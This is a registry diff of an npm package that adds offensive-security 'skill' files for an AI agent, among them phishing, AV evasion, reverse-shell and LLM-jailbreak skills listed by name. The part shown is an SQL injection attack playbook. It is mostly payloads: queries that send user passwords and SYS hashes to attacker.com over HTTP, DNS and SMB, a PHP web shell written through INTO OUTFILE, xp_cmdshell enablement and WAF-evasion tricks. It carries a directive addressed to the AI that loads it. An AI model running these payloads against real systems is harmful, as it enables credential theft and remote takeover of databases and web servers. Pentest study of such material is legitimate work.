ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,489 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: sqli-sql-injection
|
|
3
|
+
description: >-
|
|
4
|
+
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: SQL Injection — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion [SCENARIOS.md](./SCENARIOS.md).
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL keywords are WAF-blocked — Jackson's `charToHex` table is indexed by `ch & 0xFF`, so a Unicode character like `丰` (U+4E30) resolves to hex digit `0` inside a `\uXXXX` escape sequence, letting you smuggle `UNION`, `SELECT`, `1`, etc. without the WAF ever seeing them
|
|
14
|
+
|
|
15
|
+
## 1. QUICK START
|
|
16
|
+
|
|
17
|
+
### Extended Scenarios
|
|
18
|
+
|
|
19
|
+
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
|
|
20
|
+
- SMB out-of-band exfiltration via `LOAD_FILE` + UNC paths (Windows MySQL)
|
|
21
|
+
- KEY injection / URI injection / non-parameter injection points
|
|
22
|
+
- INSERT/DELETE/UPDATE statement injection differences
|
|
23
|
+
- ThinkPHP5 array key injection (`updatexml` error-based)
|
|
24
|
+
- Django GIS Oracle `utl_inaddr.get_host_name` CVE
|
|
25
|
+
- ORDER BY / LIMIT injection techniques
|
|
26
|
+
|
|
27
|
+
### Advanced Reference
|
|
28
|
+
|
|
29
|
+
Also load [SQLMAP_ADVANCED.md](./SQLMAP_ADVANCED.md) when you need:
|
|
30
|
+
- SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
|
|
31
|
+
- `--technique`, `--risk`/`--level` combinations and `--second-url` for second-order injection
|
|
32
|
+
- `--os-shell` / `--os-pwn` OS-level exploitation via SQLMap
|
|
33
|
+
- INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
|
|
34
|
+
- GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
|
|
35
|
+
- DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER
|
|
36
|
+
|
|
37
|
+
If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
|
|
38
|
+
|
|
39
|
+
### First-pass payload families
|
|
40
|
+
|
|
41
|
+
| Situation | Start With | Why |
|
|
42
|
+
|---|---|---|
|
|
43
|
+
| Login or boolean branch | `' or 1=1--` | Fast signal on auth or conditional checks |
|
|
44
|
+
| Numeric parameter | `1 or 1=1` | Avoid quote dependency |
|
|
45
|
+
| ORDER BY / sorting | `1,2,3` then `1 desc--` | Good for structural probing |
|
|
46
|
+
| Visible SQL errors | `'` then DBMS-specific error probes | Error text gives DBMS clues |
|
|
47
|
+
| No visible output | time-based payloads | Stable fallback for blind targets |
|
|
48
|
+
| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |
|
|
49
|
+
|
|
50
|
+
### Small, stable first-pass set
|
|
51
|
+
|
|
52
|
+
```text
|
|
53
|
+
'
|
|
54
|
+
' or 1=1--
|
|
55
|
+
' or '1'='1'--
|
|
56
|
+
1 or 1=1
|
|
57
|
+
') or ('1'='1
|
|
58
|
+
'; WAITFOR DELAY '0:0:5'--
|
|
59
|
+
' AND SLEEP(5)--
|
|
60
|
+
'||(SELECT pg_sleep(5))--
|
|
61
|
+
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
|
|
62
|
+
' order by 1--
|
|
63
|
+
' union select null--
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### DBMS routing hints
|
|
67
|
+
|
|
68
|
+
| Clue | Likely DBMS | Good Next Move |
|
|
69
|
+
|---|---|---|
|
|
70
|
+
| `You have an error in your SQL syntax` | MySQL | try `SLEEP()` and `@@version` |
|
|
71
|
+
| `Microsoft OLE DB Provider` | MSSQL | try `WAITFOR DELAY` |
|
|
72
|
+
| `PG::` / `PostgreSQL` | PostgreSQL | try `pg_sleep()` |
|
|
73
|
+
| `ORA-` prefix | Oracle | pivot to out-of-band or XML features |
|
|
74
|
+
| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## 1. DETECTION — SUBTLE INDICATORS
|
|
79
|
+
|
|
80
|
+
Most SQLi is found by **behavioral differences**, not errors:
|
|
81
|
+
|
|
82
|
+
| Signal | Meaning |
|
|
83
|
+
|---|---|
|
|
84
|
+
| Page loads differently with `'` vs `''` | String context injection point |
|
|
85
|
+
| Numeric: `1` vs `1-1` vs `2-1` returns same | Arithmetic evaluated |
|
|
86
|
+
| `1=1` vs `1=2` in condition changes result | Boolean-based injection |
|
|
87
|
+
| SELECT with ORDER BY N: column count enumeration | UNION prep |
|
|
88
|
+
| Time delay: `'; WAITFOR DELAY '0:0:5'--` | Blind/time-based |
|
|
89
|
+
| 500 error on `'`, 200 on `''` | Unhandled exception = SQLi |
|
|
90
|
+
| Different HTTP response size | Boolean blind indicator |
|
|
91
|
+
|
|
92
|
+
**Critical**: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
|
|
93
|
+
|
|
94
|
+
---
|
|
95
|
+
|
|
96
|
+
## 2. DATABASE FINGERPRINTING
|
|
97
|
+
|
|
98
|
+
```sql
|
|
99
|
+
-- MySQL
|
|
100
|
+
VERSION() -- returns version string
|
|
101
|
+
@@datadir -- data directory
|
|
102
|
+
@@global.secure_file_priv -- file read restriction
|
|
103
|
+
|
|
104
|
+
-- MSSQL
|
|
105
|
+
@@VERSION -- includes "Microsoft SQL Server"
|
|
106
|
+
DB_NAME() -- current database
|
|
107
|
+
USER_NAME() -- current user
|
|
108
|
+
|
|
109
|
+
-- Oracle
|
|
110
|
+
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
|
|
111
|
+
sys.database_name -- current db (alternative)
|
|
112
|
+
user -- current Oracle user
|
|
113
|
+
|
|
114
|
+
-- PostgreSQL
|
|
115
|
+
version() -- returns version
|
|
116
|
+
current_database() -- current db
|
|
117
|
+
current_user -- current user
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**Error-based fingerprint**: inject `'` and read error message format. MySQL errors differ from Oracle/MSSQL.
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## 3. UNION-BASED DATA EXTRACTION
|
|
125
|
+
|
|
126
|
+
**Column count determination**:
|
|
127
|
+
```sql
|
|
128
|
+
ORDER BY 1--
|
|
129
|
+
ORDER BY 2--
|
|
130
|
+
ORDER BY N-- ← until error = N-1 columns
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
**Column type detection** (NULL is safest):
|
|
134
|
+
```sql
|
|
135
|
+
UNION SELECT NULL,NULL,NULL--
|
|
136
|
+
UNION SELECT 'a',NULL,NULL-- ← find string column
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
**Database-specific string concat** (required when column accepts only int):
|
|
140
|
+
```sql
|
|
141
|
+
-- MySQL
|
|
142
|
+
CONCAT(username,0x3a,password)
|
|
143
|
+
|
|
144
|
+
-- MSSQL
|
|
145
|
+
username+'|'+password
|
|
146
|
+
|
|
147
|
+
-- Oracle
|
|
148
|
+
username||'|'||password
|
|
149
|
+
|
|
150
|
+
-- PostgreSQL
|
|
151
|
+
username||':'||password
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## 4. BLIND INJECTION — INFERENCE TECHNIQUES
|
|
157
|
+
|
|
158
|
+
### Boolean Blind (conditional response difference)
|
|
159
|
+
```sql
|
|
160
|
+
-- Does first char of username = 'a'?
|
|
161
|
+
' AND SUBSTRING(username,1,1)='a'--
|
|
162
|
+
' AND ASCII(SUBSTRING(username,1,1))>96--
|
|
163
|
+
|
|
164
|
+
-- Oracle
|
|
165
|
+
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
|
|
166
|
+
|
|
167
|
+
-- MSSQL
|
|
168
|
+
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Time-Based Blind (no response difference)
|
|
172
|
+
```sql
|
|
173
|
+
-- MSSQL (most reliable)
|
|
174
|
+
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
|
|
175
|
+
|
|
176
|
+
-- MySQL
|
|
177
|
+
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
|
|
178
|
+
|
|
179
|
+
-- Oracle
|
|
180
|
+
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
|
|
181
|
+
-- Oracle sleep alternative (no SLEEP):
|
|
182
|
+
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
|
|
183
|
+
|
|
184
|
+
-- PostgreSQL
|
|
185
|
+
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## 5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
|
|
191
|
+
|
|
192
|
+
Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
|
|
193
|
+
|
|
194
|
+
### MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)
|
|
195
|
+
```sql
|
|
196
|
+
'; INSERT INTO OPENROWSET(
|
|
197
|
+
'SQLOLEDB',
|
|
198
|
+
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
|
|
199
|
+
'SELECT * FROM foo'
|
|
200
|
+
) VALUES (@@version)--
|
|
201
|
+
|
|
202
|
+
-- Exfiltrate table data:
|
|
203
|
+
'; INSERT INTO OPENROWSET(
|
|
204
|
+
'SQLOLEDB',
|
|
205
|
+
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
|
|
206
|
+
'SELECT * FROM foo'
|
|
207
|
+
) SELECT TOP 1 username+':'+password FROM users--
|
|
208
|
+
```
|
|
209
|
+
Use **port 80 or 443** to bypass firewall egress restrictions.
|
|
210
|
+
|
|
211
|
+
### Oracle — UTL_HTTP (HTTP GET with data in URL path)
|
|
212
|
+
```sql
|
|
213
|
+
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
|
|
214
|
+
```
|
|
215
|
+
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
|
|
216
|
+
|
|
217
|
+
### Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
|
|
218
|
+
```sql
|
|
219
|
+
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
|
|
220
|
+
```
|
|
221
|
+
Attacker sees: `HASH_VALUE.attacker.com` DNS query → read password hash.
|
|
222
|
+
|
|
223
|
+
### Oracle — UTL_SMTP / UTL_TCP
|
|
224
|
+
```sql
|
|
225
|
+
-- Email large data dumps:
|
|
226
|
+
UTL_SMTP.SENDMAIL(...) -- send query results via email
|
|
227
|
+
|
|
228
|
+
-- Raw TCP socket:
|
|
229
|
+
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### MySQL — DNS via LOAD_FILE (Windows + UNC path)
|
|
233
|
+
```sql
|
|
234
|
+
SELECT LOAD_FILE('\\\\attacker.com\\share')
|
|
235
|
+
-- Triggers DNS lookup before connection attempt
|
|
236
|
+
-- Works on Windows hosts with outbound SMB
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
### MySQL — INTO OUTFILE (in-band filesystem write)
|
|
240
|
+
```sql
|
|
241
|
+
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
|
|
242
|
+
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## 6. ESCALATION — OS COMMAND EXECUTION
|
|
248
|
+
|
|
249
|
+
### MSSQL — xp_cmdshell (if enabled, or if sysadmin)
|
|
250
|
+
```sql
|
|
251
|
+
'; EXEC xp_cmdshell('whoami')--
|
|
252
|
+
|
|
253
|
+
-- Enable if disabled (requires sysadmin):
|
|
254
|
+
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
|
|
255
|
+
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
### MySQL — UDF (User Defined Functions)
|
|
259
|
+
Write malicious shared library to filesystem, then `CREATE FUNCTION ... SONAME`.
|
|
260
|
+
|
|
261
|
+
### Oracle — Java Stored Procedures
|
|
262
|
+
```sql
|
|
263
|
+
-- Create Java class:
|
|
264
|
+
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
|
|
265
|
+
-- Then exec OS commands via Java Runtime
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## 7. SECOND-ORDER INJECTION
|
|
271
|
+
|
|
272
|
+
**Concept**: User input is stored safely (parameterized), but later **retrieved as trusted data** and concatenated into a new query without re-sanitization.
|
|
273
|
+
|
|
274
|
+
**Example attack flow**:
|
|
275
|
+
1. Register username: `admin'--`
|
|
276
|
+
2. Application safely inserts this into users table
|
|
277
|
+
3. Password change function fetches username from session (trusted!) and builds:
|
|
278
|
+
```sql
|
|
279
|
+
UPDATE users SET password='newpass' WHERE username='admin'--'
|
|
280
|
+
```
|
|
281
|
+
4. Comment strips the condition → updates **admin's** password
|
|
282
|
+
|
|
283
|
+
**Key insight**: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
## 8. PARAMETERIZED QUERY BYPASS SCENARIOS
|
|
288
|
+
|
|
289
|
+
Parameterized queries do NOT prevent SQLi when:
|
|
290
|
+
|
|
291
|
+
1. **Table/column names are user-controlled** — params can't parameterize identifiers:
|
|
292
|
+
```sql
|
|
293
|
+
-- UNSAFE even with params:
|
|
294
|
+
"SELECT * FROM " + tableName + " WHERE id = ?"
|
|
295
|
+
```
|
|
296
|
+
Mitigation: whitelist-validate table/column names.
|
|
297
|
+
|
|
298
|
+
2. **Partial parameterization** — some fields concatenated, others parameterized:
|
|
299
|
+
```sql
|
|
300
|
+
"SELECT * FROM users WHERE type='" + userType + "' AND id=?"
|
|
301
|
+
-- userType not parameterized → injection
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
3. **IN clause** with dynamic count (common mistake in ORMs):
|
|
305
|
+
```sql
|
|
306
|
+
SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
4. **Second-order** — data retrieved from DB assumed clean, re-used in query without params.
|
|
310
|
+
|
|
311
|
+
---
|
|
312
|
+
|
|
313
|
+
## 9. FILTER EVASION TECHNIQUES
|
|
314
|
+
|
|
315
|
+
### Comment Injection (break keywords)
|
|
316
|
+
```sql
|
|
317
|
+
SEL/**/ECT
|
|
318
|
+
UN/**/ION
|
|
319
|
+
1 UN/**/ION ALL SEL/**/ECT NULL--
|
|
320
|
+
